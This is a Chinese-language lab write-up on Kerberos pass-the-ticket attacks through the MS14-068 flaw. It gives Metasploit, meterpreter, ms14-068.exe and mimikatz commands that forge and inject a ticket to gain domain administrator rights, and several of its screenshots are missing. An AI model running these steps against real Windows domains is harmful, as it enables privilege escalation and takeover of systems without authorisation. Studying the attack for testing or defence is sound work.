票據傳遞攻擊(PtT)是一種使用Kerberos票據代替明文密碼或NTLM哈希的方法。PtT最常見的用途可能是使用黃金票據和白銀票據,通過PtT訪問主機相當簡單。
1.ptt攻擊的部分
就不是簡單的NTLM認證了,它是利用Kerberos協議進行攻擊的
Kerberos協議具體工作方法:Kerberos認證方式,在域中,簡要介紹一下:
- 客戶機將明文密碼進行NTLM哈希,然后和時間戳一起加密(使用krbtgt密碼hash作為密鑰),發送給kdc(域控),kdc對用戶進行檢測,成功之后創建TGT(Ticket-Granting Ticket)
- 將TGT進行加密簽名返回給客戶機器,只有域用戶krbtgt才能讀取kerberos中TGT數據
- 然后客戶機將TGT發送給域控制器KDC請求TGS(票證授權服務)票證,並且對TGT進行檢測
- 檢測成功之后,將目標服務賬戶的NTLM以及TGT進行加密,將加密后的結果返回給客戶機。
1.1 ms14-068
MS14-068是密鑰分發中心(KDC)服務中的Windows漏洞。它允許經過身份驗證的用戶在其Kerberos票證(TGT)中插入任意PAC(表示所有用戶權限的結構)。該漏洞位於kdcsvc.dll域控制器的密鑰分發中心(KDC)中。用戶可以通過呈現具有改變的PAC的Kerberos TGT來獲得票證.
在msf里也集成了ms14-068的利用操作,
要想使用我們首先得:
域用戶sid和域控主機名


目標域名稱


當前域用戶賬戶和密碼




然后再msf下
msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
注意:這里的rhost設置成你想要假冒的域的主機名,一般是域控主機名
然后找到生成的文件,TGT憑單(具有特權PAC信息)已保存在中


這種格式非常有用,因為可以通過Mimikatz在Windows客戶端上或在linux客戶端上使用MIT kerberos導入
同時,可以使用mimikatz轉換格式(任何mimikatz安裝都可以完成工作,而無需成為域計算機或類似的東西):
注意:mimikatz不支持注入xp以及以下系統
在kail系統下還沒有默認安裝kerberos的認證功能所以我們首先要安裝一個kerberos客戶端:
apt-get install krb5-user
然后在目標靶機上傳mimikatz和生成的bin文件,將我們生成的bin文件轉換為.kirbi文件,然后再在通過kiwi meterpreter擴展名加載。首先需要在域計算機上進行會話,然后使用kiwi擴展名導入TGT票證:
上傳mimikatz:

上傳bin文件:




mimikatz:


ok,導出的文件0-00000000-zhu1@krbtgt-XIAN.COM.kirbi現在可以用於kiwi meterpreter擴展名加載。首先需要在域計算機上進行會話,然后使用kiwi擴展名導入TGT票證:
返回到meterpreter,注意這里必須要有管理員權限才行。


meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

運行load kiwi


將生成的kirbi下載回來到本地/tmp/文件夾內:(因為我kali上的kerberos安裝有問題...)
download c:/wmpub/0-00000000-zhu1@krbtgt-XIAN.COM.kirbi /tmp/

最后注入票據:


最后一步總是失敗,可能是msf上mimikatz對windows2003的支持問題,下次在win7上試一下。
1.2 使用ms14-068.exe
除了使用msf配合mimikatz,還可以使用ms14-068.exe,全程在目標機上完成注入
1.2.1 使用whoami/user得到域用戶的sid


1.2.2 執行payload生成TGT票據
使用工具:ms14-068
使用方法:
ms14-068.exe -u 域成員名@域名 -s 域成員sid -d 域控制器地址 -p 域成員密碼
運行:
MS14-068.exe -u xian.com -s S-1-5-21-3472572548-430068626-1276128607-1106 -d 192.168.5.2 -p xxx
如果操作正確,且域機器是可以和域控制器互通則會創建.ccache文件


當前目錄下生成偽造的票據文件:

1.2.3 票據注入
使用mimikatz將票據注入到當前內存中,偽造憑證,如果成功則擁有域管理權限,可任意訪問域中所有機器
mimikatz # kerberos::purge //清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造
mimikatz # kerberos::list //查看當前機器憑證
mimikatz # kerberos::ptc 票據文件 //將票據注入到內存中

顯示錯誤
經過上面實驗,和網上資料,域成員主機如果為windows xp或windows server 2003,是無法正常偽造票據的